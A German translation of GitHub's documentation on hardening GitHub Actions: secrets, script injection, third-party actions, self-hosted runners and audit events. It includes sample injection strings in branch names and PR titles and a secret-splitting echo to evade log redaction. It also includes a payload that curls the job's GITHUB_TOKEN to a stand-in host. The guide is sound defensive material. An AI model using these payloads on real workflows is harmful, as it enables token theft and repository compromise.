Skip to main content

Sicherheitshärtung für GitHub Actions

Best Practices zur Sicherheit bei der Verwendung von GitHub Actions-Features

Hinweis: GitHub-gehostete Runner werden auf GitHub Enterprise Server derzeit nicht unterstützt. Weitere Informationen zur geplanten zukünftigen Unterstützung findest Du in der GitHub public roadmap.

Übersicht

In diesem Leitfaden wird erläutert, wie du die Sicherheitshärtung für bestimmte GitHub Actions-Features konfigurierst. Wenn du noch nicht mit den Konzepten von GitHub Actions vertraut bist, findest du unter Core concepts for GitHub Actions („Wichtigste Konzepte für GitHub Actions“) weitere Informationen.

Verwenden von Geheimnissen

Vertrauliche Werte sollten niemals als Klartext in Workflowdateien, sondern als Geheimnisse gespeichert werden. Geheimnisse können auf Organisations-, Repository- oder Umgebungsebene konfiguriert werden und ermöglichen das Speichern vertraulicher Informationen in GitHub Enterprise Server.

Damit die Geheimnisse verschlüsselt werden, bevor sie GitHub Enterprise Server erreichen, werden versiegelte libsodium-Felder verwendet. Dieser Schritt erfolgt, wenn das Geheimnis über die Benutzeroberfläche oder über die REST-API übermittelt wird. Durch diese clientseitige Verschlüsselung lassen sich die Risiken im Zusammenhang mit der versehentlichen Protokollierung (z. B. Ausnahmeprotokolle und Anforderungsprotokolle) innerhalb der GitHub Enterprise Server-Infrastruktur minimieren. Sobald das Geheimnis hochgeladen wurde, ist GitHub Enterprise Server in der Lage, das Geheimnis zu entschlüsseln, damit es in die Workflowlaufzeit eingefügt werden kann.

Zum Verhindern einer versehentlichen Offenlegung verwendet GitHub Enterprise Server einen Mechanismus, der versucht, Geheimnisse zu bearbeiten, die in Ausführungsprotokollen erscheinen. Bei diesem Bearbeitungsschritt wird nach exakten Übereinstimmungen für konfigurierte Geheimnisse sowie nach gemeinsamen Codierungen der Werte (z. B. Base64) gesucht. Da es jedoch mehrere Möglichkeiten gibt, einen geheimen Wert zu transformieren, kann diese Bearbeitung nicht garantiert werden. Aus diesem Grund solltest du mithilfe bestimmter proaktiver Schritte und bewährter Methoden sicherstellen, dass Geheimnisse bearbeitetet werden und weitere Risiken im Zusammenhang mit Geheimnissen gemindert werden:

  • Verwende niemals strukturierte Daten als Geheimnis
    • Bei strukturierten Daten können bei der Bearbeitung des Geheimnisses innerhalb von Protokollen Fehler auftreten. Der Grund dafür ist, dass die Bearbeitung weitgehend davon abhängig ist, dass eine exakte Übereinstimmung für den spezifischen geheimen Wert gefunden wird. Verwende z. B. kein JSON-, XML-, YAML- oder ein ähnliches Blob, um einen geheimen Wert zu kapseln, da die Wahrscheinlichkeit, dass die Geheimnisse ordnungsgemäß bearbeitet werden, dadurch erheblich sinkt. Erstelle stattdessen einzelne Geheimnisse für jeden vertraulichen Wert.
  • Registriere alle Geheimnisse, die in Workflows verwendet werden
    • Wenn ein Geheimnis verwendet wird, um einen anderen vertraulichen Wert in einem Workflow zu generieren, sollte dieser generierte Wert formal als geheim registriert werden, damit er in Protokollen gegebenenfalls bearbeitet wird. Wenn du z. B. einen privaten Schlüssel zum Generieren eines signierten JWT für den Zugriff auf eine Web-API verwendest, musst du das JWT als Geheimnis registrieren. Anderenfalls wird das Token nicht bearbeitet, wenn es in einer Protokollausgabe erscheint.
    • Die Registrierung von Geheimnissen gilt auch für jegliche Art von Transformation/Codierung. Wenn dein Geheimnis transformiert wird (z. B. bei der Base64- oder URL-Codierung), musst du auch den neuen Wert als geheim registrieren.
  • Überprüfe, wie Geheimnisse verarbeitet werden
    • Du solltest überprüfen, ob Geheimnisse wie erwartet verwendet werden. Überprüfe dazu im Quellcode des Repositorys, das den Workflow ausführt, alle Aktionen, die im Workflow verwendet werden. Stelle z. B. sicher, dass vertrauliche Informationen nicht an unbeabsichtigte Hosts gesendet werden oder explizit in der Protokollausgabe ausgegeben werden.
    • Sieh dir die Ausführungsprotokolle für deinen Workflow an, nachdem du gültige/ungültige Eingaben getestet hast, und überprüfe, ob Geheimnisse ordnungsgemäß bearbeitet bzw. nicht angezeigt werden. Es ist nicht immer offensichtlich, wie ein aufgerufener Befehl oder ein aufgerufenes Tool Fehler an STDOUT und STDERR sendet. So ist es möglich, dass Geheimnisse in Fehlerprotokollen erscheinen. Daher empfiehlt es sich, die Workflowprotokolle nach dem Testen gültiger und ungültiger Eingaben manuell zu überprüfen.
  • Verwende Anmeldeinformationen mit minimalen Berechtigungen
    • Stelle sicher, dass die in Workflows verwendeten Anmeldeinformationen über den geringsten erforderlichen Umfang an Berechtigungen verfügen, und beachte, dass Benutzer*innen mit Schreibzugriff auf dein Repository auch über Lesezugriff auf alle Geheimnisse verfügen, die in deinem Repository konfiguriert sind.
    • Aktionen können GITHUB_TOKEN verwenden, indem sie über den github.token-Kontext darauf zugreifen. Weitere Informationen findest du unter Contexts („Kontexte“). Aus diesem Grund solltest du sicherstellen, dass GITHUB_TOKEN die geringsten erforderlichen Berechtigungen erteilt werden. Es empfiehlt sich, als Standardberechtigung für GITHUB_TOKEN lediglich Lesezugriff auf Repositoryinhalte festzulegen. Die Berechtigungen können dann nach Bedarf für einzelne Aufträge in der Workflowdatei erhöht werden. Weitere Informationen findest du unter Authentifizierung in einem Workflow.
  • Überprüfe und rotiere registrierte Geheimnisse
    • Überprüfe die registrierten Geheimnisse regelmäßig, um sicherzustellen, dass sie noch erforderlich sind. Entferne Geheimnisse, die nicht mehr benötigt werden.
    • Rotiere Geheimnisse regelmäßig, um das Zeitfenster zu verringern, in dem ein kompromittiertes Geheimnis gültig ist.
  • Lege gegebenenfalls fest, dass beim Zugriff auf Geheimnisse eine Überprüfung erforderlich ist
    • Du kannst festlegen, dass eine Genehmigung durch einen Prüfer erforderlich ist, um Umgebungsgeheimnisse zu schützen. So kann ein Workflowauftrag erst dann auf Umgebungsgeheimnisse zugreifen, nachdem ein Prüfer die entsprechende Genehmigung erteilt hat. Weitere Informationen zum Speichern von Geheimnissen in Umgebungen oder zum Festlegen von erforderlichen Überprüfungen für Umgebungen findest du unter Encrypted secrets („Verschlüsselte Geheimnisse“) und Using environments for deployment („Verwenden von Umgebungen für die Bereitstellung“).

Warnung: Alle Benutzer*innen mit Schreibzugriff auf dein Repository verfügen über Lesezugriff auf alle Geheimnisse, die in deinem Repository konfiguriert sind. Aus diesem Grund solltest du sicherstellen, dass die in Workflows verwendeten Anmeldeinformationen über die geringsten erforderlichen Berechtigungen verfügen.

Verwenden von CODEOWNERS zum Überwachen von Änderungen

Mithilfe des Features CODEOWNERS kannst du steuern, wie Änderungen an deinen Workflowdateien vorgenommen werden. Wenn alle deine Workflowdateien z. B. in .github/workflows gespeichert sind, kannst du dieses Verzeichnis der Codebesitzerliste hinzufügen, damit alle vorgeschlagenen Änderungen an diesen Dateien zuerst von einem benannten Prüfer genehmigt werden müssen.

Weitere Informationen findest du unter About code owners („Informationen zu Codebesitzern“).

Informationen zum Risiko der Skripteinschleusung

Beim Erstellen von Workflows, benutzerdefinierten Aktionen und zusammengesetzten Aktionen solltest du immer überprüfen, ob dein Code gegebenenfalls nicht vertrauenswürdige Eingaben von Angreiferinnen ausführen kann. Dies kann passieren, wenn Angreiferinnen bösartige Befehle und Skripts zu einem Kontext hinzufügen. Bei der Ausführung deines Workflows werden diese Zeichenfolgen möglicherweise als Code interpretiert, der dann im Runner ausgeführt wird.

Angreifer*innen können dem github-Kontext eigene bösartige Inhalte hinzufügen, die als potenziell nicht vertrauenswürdige Eingaben behandelt werden sollten. Diese Kontexte enden üblicherweise auf body, default_branch, email, head_ref, label, message, name, page_name,ref und title. Beispiel: github.event.issue.title oder github.event.pull_request.body

Du solltest sicherstellen, dass diese Werte nicht direkt in Workflows, Aktionen, API-Aufrufen oder an anderen Stellen eingefügt werden, an denen sie als ausführbarer Code interpretiert werden können. Indem du denselben defensiven Programmieransatz wie bei anderem privilegiertem Anwendungscode verwendest, kannst du zur Sicherheitshärtung bei der Verwendung von GitHub Actions beitragen. Informationen zu möglichen Schritten, die Angreifer*innen ausführen können, findest du unter Potential impact of a compromised runner („Potenzielle Auswirkungen eines kompromittierten Runners“).

Darüber hinaus gibt es weitere weniger offensichtliche Quellen für potenziell nicht vertrauenswürdige Eingaben. Dazu zählen z. B. Verzweigungsnamen und E-Mail-Adressen, die in Bezug auf ihre zulässigen Inhalte ziemlich flexibel sein können. zzz";echo${IFS}"hello";# ist beispielsweise ein zulässiger Verzweigungsname, der ein möglicher Angriffsvektor für ein Zielrepository wäre.

In den folgenden Abschnitten wird erläutert, wie du das Risiko der Skripteinschleusung verringern kannst.

Beispiel für einen Angriff durch Skripteinschleusung

Ein Angriff durch Skripteinschleusung kann direkt innerhalb des Inlineskripts eines Workflows auftreten. Im folgenden Beispiel verwendet eine Aktion einen Ausdruck, um die Gültigkeit eines Pull Request-Titels zu testen. Dies geht jedoch mit dem Risiko der Skripteinschleusung einher:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Bei diesem Beispiel besteht das Risiko der Skripteinschleusung, da der Befehl run innerhalb eines temporären Shellskripts im Runner ausgeführt wird. Vor der Ausführung des Shellskripts werden die Ausdrücke innerhalb von ${{ }} ausgewertet und anschließend durch die resultierenden Werte ersetzt. Bei diesem Vorgang besteht die Möglichkeit, dass Shellbefehle eingeschleust werden.

Angreifer*innen könnten einen Pull Request mit dem Titel a"; ls $GITHUB_WORKSPACE" erstellen, um Befehle in diesem Workflow einzuschleusen:

Beispiel für die Skripteinschleusung im Titel eines Pull Requests

In diesem Beispiel wird die title="${{ github.event.pull_request.title }}"-Anweisung mithilfe des Zeichens " unterbrochen, damit der Befehl ls im Runner ausgeführt werden kann. Die Ausgabe des Befehls ls erscheint im Protokoll:

Beispiel für das Ergebnis einer Skripteinschleusung

Bewährte Methoden zum Verhindern von Angriffen durch Skripteinschleusung

Es gibt verschiedene Ansätze, um das Risiko der Skripteinschleusung zu verhindern:

Verwenden einer Aktion anstelle eines Inlineskripts (empfohlen)

Bei dieser empfohlenen Vorgehensweise erstellst du eine Aktion, die den Kontextwert als Argument verarbeitet. Da der Kontextwert bei diesem Ansatz nicht zum Generieren eines Shellskripts verwendet wird, sondern stattdessen als Argument an die Aktion übergeben wird, wird das Risiko der Skripteinschleusung minimiert:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Verwenden einer Zwischenumgebungsvariable

Bei Inlineskripts sollte der Wert des Ausdrucks auf eine Zwischenumgebungsvariable festgelegt werden, um nicht vertrauenswürdige Eingaben zu verhindern.

Im folgenden Beispiel wird Bash verwendet, um den github.event.pull_request.title-Wert als Umgebungsvariable zu verarbeiten:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

In diesem Beispiel ist der Versuch der Skripteinschleusung nicht erfolgreich:

Beispiel für eine nicht erfolgreiche Skripteinschleusung

Bei dieser Vorgehensweise wird der Wert des ${{ github.event.issue.title }}-Ausdrucks im Arbeitsspeicher gespeichert und als Variable verwendet. Es findet keine Interaktion mit dem Skriptgenerierungsprozess statt. Darüber hinaus solltest du gegebenenfalls Shellvariablen mit doppelten Anführungszeichen verwenden, um eine Wortteilung zu vermeiden. Dies ist jedoch eine der vielen allgemeinen Empfehlungen zum Schreiben von Shellskripts, die nicht speziell für GitHub Actions gilt.

Einschränken von Berechtigungen für Token

Du solltest die zugewiesenen Berechtigungen einschränken, um das Risiko offengelegter Token zu mindern. Weitere Informationen findest du unter Modifying the permissions for the GITHUB_TOKEN („Ändern der Berechtigungen für GITHUB_TOKEN“).

Verwenden von Drittanbieteraktionen

Die einzelnen Aufträge in einem Workflow können mit anderen Aufträgen interagieren (und diese kompromittieren). Beispiel: Ein Auftrag, der die von einem späteren Auftrag verwendeten Umgebungsvariablen abfragt, Dateien in ein freigegebenes Verzeichnis schreibt, das von einem späteren Auftrag verarbeitet wird, oder sogar direkt mit dem Docker-Socket interagiert, andere ausgeführte Container überprüft und Befehle in diesen Containern ausführt.

Eine einzelne kompromittierte Aktion in einem Workflow kann also große Auswirkungen haben, da diese kompromittierte Aktion Zugriff auf alle Geheimnisse hat, die in deinem Repository konfiguriert sind. Außerdem kann diese Aktion gegebenenfalls GITHUB_TOKEN verwenden, um Inhalte in das Repository zu schreiben. Folglich besteht ein erhebliches Risiko, wenn Aktionen aus Drittanbieterrepositorys in GitHub ausgeführt werden. Informationen zu möglichen Schritten, die Angreifer*innen ausführen können, findest du unter Potential impact of a compromised runner („Potenzielle Auswirkungen eines kompromittierten Runners“).

Du kannst dieses Risiko verringern, indem du die folgenden bewährten Methoden anwendest:

  • Hefte Aktionen an einen Commit-SHA voller Länge an

    Das Anheften einer Aktion an einen Commit-SHA voller Länge ist derzeit die einzige Möglichkeit, eine Aktion als unveränderliche Version zu verwenden. Durch das Anheften an einen bestimmten SHA wird das Risiko von Angriffen verringert, bei denen eine Hintertür zum Repository der Aktion hinzugefügt wird. Der Grund dafür ist, dass in diesem Fall eine SHA-1-Kollision für eine gültige Git-Objektpayload generiert werden müsste.

  • Überprüfe den Quellcode der Aktion

    Stelle sicher, dass die Aktion den Inhalt deines Repositorys und deine Geheimnisse wie erwartet verarbeitet. Überprüfe beispielsweise, ob Geheimnisse nicht an unbeabsichtigte Hosts gesendet oder nicht versehentlich protokolliert werden.

  • Hefte Aktionen nur dann an Tags, wenn du den Ersteller als vertrauenswürdig einstufst

    Wenngleich das Anheften an einen Commit-SHA die sicherste Möglichkeit ist, ist das Angeben eines Tags unkomplizierter und eine weitverbreitete Vorgehensweise. Wenn du ein Tag angeben möchtest, stelle sicher, dass du den Erstellern der Aktion vertraust. Der Badge für überprüfte Ersteller in GitHub Marketplace zeigt an, dass die Aktion von einem Team erstellt wurde, dessen Identität von GitHub überprüft und bestätigt wurde. Beachte, dass diese Vorgehensweise auch dann ein Risiko birgt, wenn der oder die Erstellerin als vertrauenswürdig eingestuft wird. Der Grund dafür ist, dass ein Tag verschoben oder gelöscht werden kann, wenn eine böswilliger Akteurin Zugriff auf das Repository erhält, in dem die Aktion gespeichert ist.

Wiederverwenden von Drittanbieterworkflows

Die oben beschriebenen Grundsätze für die Verwendung von Drittanbieteraktionen gelten auch für die Verwendung von Drittanbieterworkflows. Wende die oben beschriebenen bewährten Methoden auch bei Workflows an, um die Risiken bei der Wiederverwendung von Workflows zu verringern. Weitere Informationen findest du unter Reusing workflows („Wiederverwenden von Workflows“).

Verwenden von OpenSSF-Scorecards, um Workflows zu schützen

Scorecards sind ein automatisiertes Sicherheitstool, mit dem Lieferkettenaktionen gekennzeichnet werden, die ein Risiko bergen. Du kannst die Scorecards-Aktion und den Startworkflow verwenden, um bewährte Sicherheitsmethoden anzuwenden. Nach der Konfiguration wird die Scorecards-Aktion bei Repositoryänderungen automatisch ausgeführt, und Entwickler*innen werden mithilfe der integrierten Codeüberprüfung über riskante Lieferkettenaktionen informiert. Das Scorecards-Projekt führt eine Reihe von Prüfungen aus, mit denen u. a. Angriffe durch Skripteinschleusung, Tokenberechtigungen und angeheftete Aktionen ermittelt bzw. untersucht werden.

Potenzielle Auswirkungen eines kompromittierten Runners

In diesen Abschnitten werden einige Schritte beschrieben, die Angreifer*innen ausführen können, wenn sie böswillige Befehle in einem GitHub Actions-Runner ausführen können.

Hinweis: Von GitHub gehostete Runner führen keine Scans nach schädlichem Code (z. B. einer kompromittierten Drittanbieterbibliothek) durch, der während des Auftrags von Benutzer*innen heruntergeladen wurde.

Zugreifen auf Geheimnisse

Workflows, die mit dem pull_request-Ereignis ausgelöst werden, verfügen ausschließlich über Leseberechtigungen und haben keinen Zugriff auf Geheimnisse. Diese Berechtigungen variieren jedoch für verschiedene Ereignisauslöser wie issue_comment, issues und push, bei denen Angreifer*innen versuchen könnten, Repositorygeheimnisse auszuspähen oder die Schreibberechtigung des GITHUB_TOKEN eines Auftrags zu verwenden.

  • Wenn das Geheimnis oder Token auf eine Umgebungsvariable festgelegt ist, kann mithilfe von printenv direkt über die Umgebung darauf zugegriffen werden.

  • Wird das Geheimnis direkt in einem Ausdruck verwendet, wird das generierte Shellskript auf dem Datenträger gespeichert, und es kann darauf zugegriffen werden.

  • Bei benutzerdefinierten Aktionen kann das Risiko abhängig davon variieren, wie ein Programm das Geheimnis nutzt, das aus dem Argument abgerufen wurde:

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}
    

Wenngleich GitHub Actions ein Scrubbing für Geheimnisse aus dem Arbeitsspeicher ausführt, auf die nicht im Workflow verwiesen wird bzw. die nicht in einer Aktion enthalten sind, können GITHUB_TOKEN und Geheimnisse, auf die verwiesen wird, von Angreifer*innen ausgespäht werden.

Exfiltrieren von Daten aus einem Runner

Angreiferinnen können sämtliche gestohlenen Geheimnisse oder andere Daten aus dem Runner exfiltrieren. Damit die versehentliche Offenlegung von Geheimnissen verhindert wird, führt GitHub Actions eine automatische Bearbeitung von Geheimnissen durch, die im Protokoll ausgegeben werden. Dies ist jedoch kein wirklicher Schutz, da die Geheimnisse absichtlich an das Protokoll gesendet werden können. So können verschleierte Geheimnisse beispielweise mithilfe von echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200}; exfiltriert werden. Und da Angreiferinnen auch beliebige Befehle ausführen können, können sie Geheimnisse oder andere Repositorydaten mithilfe von HTTP-Anforderungen an einen externen Server senden.

Diebstahl des GITHUB_TOKEN eines Auftrags

Es ist möglich, dass Angreiferinnen das GITHUB_TOKEN eines Auftrags stehlen. Der GitHub Actions-Runner empfängt automatisch ein generiertes GITHUB_TOKEN mit Berechtigungen, die auf das Repository beschränkt sind, das den Workflow enthält. Nachdem der Auftrag abgeschlossen wurde, verliert das Token seine Gültigkeit. Das abgelaufene Token bietet keinen Nutzen für Angreiferinnen. Zur Umgehung dieser Einschränkung kann der Angriff automatisiert und in Sekundenbruchteilen ausgeführt werden, indem ein vom Angreifer oder von der Angreiferin gesteuerter Server mit dem Token aufgerufen wird. Beispiel: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Ändern der Repositoryinhalte

Der Angreiferserver kann die GitHub Enterprise Server-API verwenden, um Repositoryinhalte zu ändern. Dies umfasst auch die Versionen, wenn die zugewiesenen Berechtigungen von GITHUB_TOKENnicht eingeschränkt sind.

Grundlegendes zum repositoryübergreifenden Zugriff

Die Berechtigungen von GitHub Actions sind bewusst für nur jeweils ein Repository ausgelegt. Mit GITHUB_TOKEN wird die gleiche Zugriffsstufe erteilt wie die von Benutzerinnen mit Schreibzugriff. Denn alle Benutzerinnen mit Schreibzugriff können auf dieses Token zugreifen, indem du eine Workflowdatei erstellst oder änderst und dabei die Berechtigungen von GITHUB_TOKEN bei Bedarf erhöhst. Benutzerinnen verfügen über spezifische Berechtigungen für die einzelnen Repositorys. Wenn das GITHUB_TOKEN für ein Repository Zugriff auf ein anderes Repository ermöglichen würde, könnte sich dies bei nicht sorgfältiger Implementierung daher auf das GitHub-Berechtigungsmodell auswirken. Gleichermaßen ist Vorsicht geboten, wenn GitHub-Authentifizierungstoken zu einem Workflow hinzugefügt werden. Denn auch dies kann sich auf das GitHub-Berechtigungsmodell auswirken, wenn Projektmitarbeiterinnen unbeabsichtigterweise umfangreiche Zugriffsberechtigungen zugewiesen werden.

Wir verfügen über einen Plan in der GitHub-Roadmap zur Unterstützung eines Flows, der einen repositoryübergreifenden Zugriff innerhalb von GitHub Enterprise Server ermöglicht. Dies ist jedoch noch kein unterstütztes Feature. Derzeit besteht die einzige Möglichkeit für privilegierte repositoryübergreifende Interaktionen darin, ein GitHub-Authentifizierungstoken oder einen SSH-Schlüssel als Geheimnis innerhalb des Workflows einzusetzen. Da viele Authentifizierungstokentypen keinen differenzierten Zugriff auf bestimmte Ressourcen ermöglichen, besteht ein erhebliches Risiko durch die Verwendung des falschen Tokentyps, mit dem gegebenenfalls wesentlich umfangreichere Zugriffsberechtigungen zugewiesen werden als beabsichtigt.

In dieser Liste sind die empfohlenen Vorgehensweisen für den Zugriff auf Repositorydaten innerhalb eines Workflows in absteigender Präferenzreihenfolge aufgeführt:

  1. GITHUB_TOKEN
    • Dieses Token ist bewusst auf das eine Repository beschränkt, das den Workflow aufgerufen hat, und kann dieselbe Zugriffsstufe wie Benutzer*innen mit Schreibzugriff auf das Repository aufweisen. Das Token wird erstellt, bevor die einzelnen Aufträge beginnen, und läuft ab, wenn ein Auftrag abgeschlossen ist. Weitere Informationen findest du unter Authenticating with the GITHUB_TOKEN („Authentifizieren mit dem GITHUB_TOKEN“).
    • GITHUB_TOKEN sollte wann immer möglich verwendet werden.
  2. Bereitstellungsschlüssel für Repositorys
    • Bereitstellungsschlüssel sind einer der einzigen Anmeldeinformationstypen, die Lese- oder Schreibzugriff auf ein einzelnes Repository gewähren. Diese Schlüssel können für die Interaktion mit einem anderen Repository innerhalb eines Workflows verwendet werden. Weitere Informationen findest du unter Managing deploy keys („Verwalten von Bereitstellungsschlüsseln“).
    • Beachte, dass Bereitstellungsschlüssel nur mit Git im Repository geklont bzw. an das Repository gepusht und nicht für die Interaktion mit der REST- oder GraphQL-API verwendet werden können. Aus diesem Grund eignen sie sich möglicherweise nicht für deine Anforderungen.
  3. GitHub App-Token
    • GitHub Apps kann in ausgewählten Repositorys installiert werden, und es können sogar differenzierte Berechtigungen für die Ressourcen innerhalb dieser Repositorys zugewiesen werden. Du kannst eine interne GitHub App für deine Organisation erstellen, diese in den Repositorys installieren, auf die du in deinem Workflow zugreifen musst, und sich als die Installation innerhalb deines Workflows authentifizieren, um auf diese Repositorys zuzugreifen.
  4. personal access token
    • Du solltest niemals ein personal access token verwenden. Diese Token gewähren Zugriff auf alle Repositorys innerhalb der Organisationen, auf die du Zugriff hast, sowie auf alle persönlichen Repositorys in deinem persönlichen Konto. Dadurch werden indirekt umfangreiche Zugriffsberechtigungen für alle Schreibzugriffsbenutzer*innen des Repositorys gewährt, in dem sich der Workflow befindet.
    • Wenn du ein personal access token verwendest, solltest du niemals ein personal access token deines eigenen Kontos verwenden. Wenn du eine Organisation zu einem späteren Zeitpunkt verlässt, treten bei Workflows mit diesem Token umgehend Probleme auf, und das Debuggen kann schwierig sein. Stattdessen solltest du ein personal access token eines neuen Kontos verwenden, das deiner Organisation gehört und dem nur Zugriff auf die Repositorys erteilt wird, die für diesen Workflow benötigt werden. Beachte, dass dieser Ansatz nicht skalierbar ist und stattdessen Alternativen wie Bereitstellungsschlüssel bevorzugt werden sollten.
  5. SSH-Schlüssel für ein persönliches Konto
    • Workflows dürfen die SSH-Schlüssel niemals für ein persönliches Konto verwenden. Diese sind mit personal access tokens vergleichbar und gewähren Lese-/Schreibberechtigungen für alle deine persönlichen Repositorys sowie alle Repositorys, auf die du über die Organisationsmitgliedschaft zugreifen kannst. Dadurch werden indirekt umfangreiche Zugriffsberechtigungen für alle Schreibzugriffsbenutzer*innen des Repositorys gewährt, in dem sich der Workflow befindet. Wenn du beabsichtigst, einen SSH-Schlüssel zu verwenden, weil du lediglich Klon- oder Pushvorgänge für ein Repository durchführst und nicht mit öffentlichen APIs interagieren müssen, solltest du stattdessen einzelne Bereitstellungsschlüssel verwenden.

Härtung für selbstgehostete Runner

In

Selbstgehostete Runner für GitHub Enterprise Server bieten keine Garantien bezüglich der Ausführung in kurzlebigen bereinigten VMs und können durch nicht vertrauenswürdigen Code in einem Workflow dauerhaft gefährdet werden.

Gehe mit Bedacht vor, wenn du selbstgehostete Runner für private oder interne Repositorys verwendest. In diesem Fall können alle Benutzerinnen, die das Repository forken und Pull Requests starten können (üblicherweise Benutzerinnen mit Lesezugriff auf das Repository), die selbstgehostete Runnerumgebung kompromittieren. Dabei kann u. a. auf Geheimnisse und das GITHUB_TOKEN zugegriffen werden, über das abhängig von den Einstellungen Schreibzugriff auf das Repository gewährt werden kann. Wenngleich der Zugriff auf Umgebungsgeheimnisse in Workflows durch die Verwendung von Umgebungen und erforderlichen Prüfungen gesteuert werden kann, werden diese Workflows nicht in einer isolierten Umgebung ausgeführt. Folglich müssen bei Ausführung in einem selbstgehosteten Runner dieselben Risiken berücksichtigt werden.

Wenn ein selbstgehosteter Runner auf Organisations- oder Unternehmensebene definiert wird, kann GitHub Enterprise Server Workflows aus mehreren Repositorys innerhalb desselben Runners planen. Sicherheitslücken oder Angriffe in diesen Umgebungen können also weitreichende Auswirkungen haben. Indem du deine selbstgehosteten Runner in separaten Gruppen organisierst, lässt sich der Umfang dieser Auswirkungen beschränken. Dabei kannst du einschränken, welche Organisationen und Repositorys auf Runnergruppen zugreifen können. Weitere Informationen findest du unter Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen.

Außerdem solltest du die Umgebung der Computer des selbstgehosteten Runners berücksichtigen:

  • Welche vertraulichen Informationen befinden sich auf dem Computer, der als selbstgehosteter Runner konfiguriert ist? Diese Informationen können z. B. private SSH-Schlüssel, API-Zugriffstoken usw. umfassen.
  • Verfügt der Computer über Netzwerkzugriff auf vertrauliche Dienste? Dazu können z. B. Azure- oder AWS-Metadatendienste zählen. Die Menge an vertraulichen Informationen in dieser Umgebung sollte auf ein Minimum beschränkt werden. Du solltest immer bedenken, dass alle Benutzer*innen, die Workflows aufrufen können, Zugriff auf diese Umgebung haben.

Einige Kunden versuchen möglicherweise, diese Risiken zu mindern, indem sie Systeme implementieren, die den selbstgehosteten Runner nach jeder Auftragsausführung automatisch zerstören. Dieser Ansatz ist jedoch gegebenenfalls nicht so effektiv wie gewünscht, da nicht sichergestellt werden kann, dass ein selbstgehosteter Runner nur einen Auftrag ausführt. Einige Aufträge verwenden Geheimnisse als Befehlszeilenargumente, die für einen anderen Auftrag sichtbar sind, der im selben Runner ausgeführt wird (z. B. ps x -w). Folglich kann es zur Offenlegung von Geheimnissen kommen.

Planen deiner Verwaltungsstrategie für selbstgehostete Runner

Selbstgehostete Runner können auf verschiedenen Ebenen in deiner GitHub-Hierarchie hinzugefügt werden: auf Unternehmens-, Organisations- oder Repositoryebene. Durch diese Platzierung wird festgelegt, wer einen Runner verwalten kann:

Zentrale Verwaltung:

  • Wenn ein zentrales Team Besitzer der selbstgehosteten Runner sein soll, solltest du deine Runner auf der höchsten gemeinsamen Organisations- oder Unternehmensebene hinzuzufügen. Dadurch kann dein Team deine Runner in einer zentralen Ansicht anzeigen und verwalten.
  • Wenn du nur über eine einzige Organisation verfügst, ist das Hinzufügen deiner Runner auf Organisationsebene der gleiche Ansatz. Dabei kann es jedoch zu Problemen kommen, wenn du zu einem späteren Zeitpunkt eine weitere Organisation hinzufügst.

Dezentrale Verwaltung:

  • Wenn jedes Team seine eigenen selbstgehosteten Runner verwalten soll, sollten die Runner auf der höchsten Ebene des Teambesitzes hinzugefügt werden. Beispiel: Wenn jedes Team über eine eigene Organisation verfügt, ist es am einfachsten, die Runner ebenfalls auf Organisationsebene hinzuzufügen.
  • Die Runner können auch auf Repositoryebene hinzugefügt werden. Da Runner in diesem Fall jedoch nicht von mehreren Repositorys gleichzeitig verwendet werden können, erhöht sich der Verwaltungsaufwand, und du benötigst eine größere Anzahl von Runnern.

Überwachen von GitHub Actions-Ereignissen

Über das Überwachungsprotokoll kannst du administrative Aufgaben in einer Organisation überwachen. Das Überwachungsprotokoll zeichnet die Art der Aktion, den Zeitpunkt der Ausführung sowie das persönliche Konto auf, das die Aktion ausgeführt hat.

So kannst du das Überwachungsprotokoll z. B. zum Aufzeichnen des org.update_actions_secret-Ereignisses verwenden, mit dem sich Änderungen an Organisationsgeheimnissen nachverfolgen lassen: Überwachungsprotokolleinträge

In der folgenden Tabelle sind die GitHub Actions-Ereignisse beschrieben, die im Überwachungsprotokoll enthalten sind. Weitere Informationen zur Verwendung des Überwachungsprotokolls findest du unter Reviewing the audit log for your organization („Überprüfen des Überwachungsprotokolls für deine Organisation“) und Reviewing audit logs for your enterprise („Überprüfen der Überwachungsprotokolle für dein Unternehmen“).

Ereignisse für Konfigurationsänderungen

AktionBESCHREIBUNG
repo.actions_enabledWird ausgelöst, wenn GitHub Actions für ein Repository aktiviert wird. Kann über die Benutzeroberfläche angezeigt werden. Dieses Ereignis ist nicht sichtbar, wenn du über die REST-API auf das Überwachungsprotokoll zugreifst. Weitere Informationen findest du unter Using the REST API („Verwenden der REST-API“).
repo.update_actions_access_settingsWird ausgelöst, wenn die Einstellung geändert wird, die steuert, wie dein Repository von GitHub Actions-Workflows in anderen Repositorys verwendet wird.

Ereignisse für die Verwaltung von Geheimnissen

AktionBESCHREIBUNG
org.create_actions_secretWird ausgelöst, wenn ein GitHub Actions-Geheimnis für eine Organisation erstellt wird. Weitere Informationen findest du unter Creating encrypted secrets for an organization („Erstellen von verschlüsselten Geheimnissen für eine Organisation“).
org.remove_actions_secretWird ausgelöst, wenn ein GitHub Actions-Geheimnis entfernt wird.
org.update_actions_secretWird ausgelöst, wenn ein GitHub Actions-Geheimnis aktualisiert wird.
repo.create_actions_secret Wird ausgelöst, wenn ein GitHub Actions-Geheimnis für ein Repository erstellt wird. Weitere Informationen findest du unter Creating encrypted secrets for a repository („Erstellen von verschlüsselten Geheimnissen für ein Repository“).
repo.remove_actions_secretWird ausgelöst, wenn ein GitHub Actions-Geheimnis entfernt wird.
repo.update_actions_secretWird ausgelöst, wenn ein GitHub Actions-Geheimnis aktualisiert wird.

Ereignisse für selbstgehostete Runner

AktionBESCHREIBUNG
enterprise.register_self_hosted_runnerWird ausgelöst, wenn ein neuer selbstgehosteter Runner registriert wird. Weitere Informationen findest du unter Adding a self-hosted runner to an enterprise („Hinzufügen eines selbstgehosteten Runners zu einem Unternehmen“).
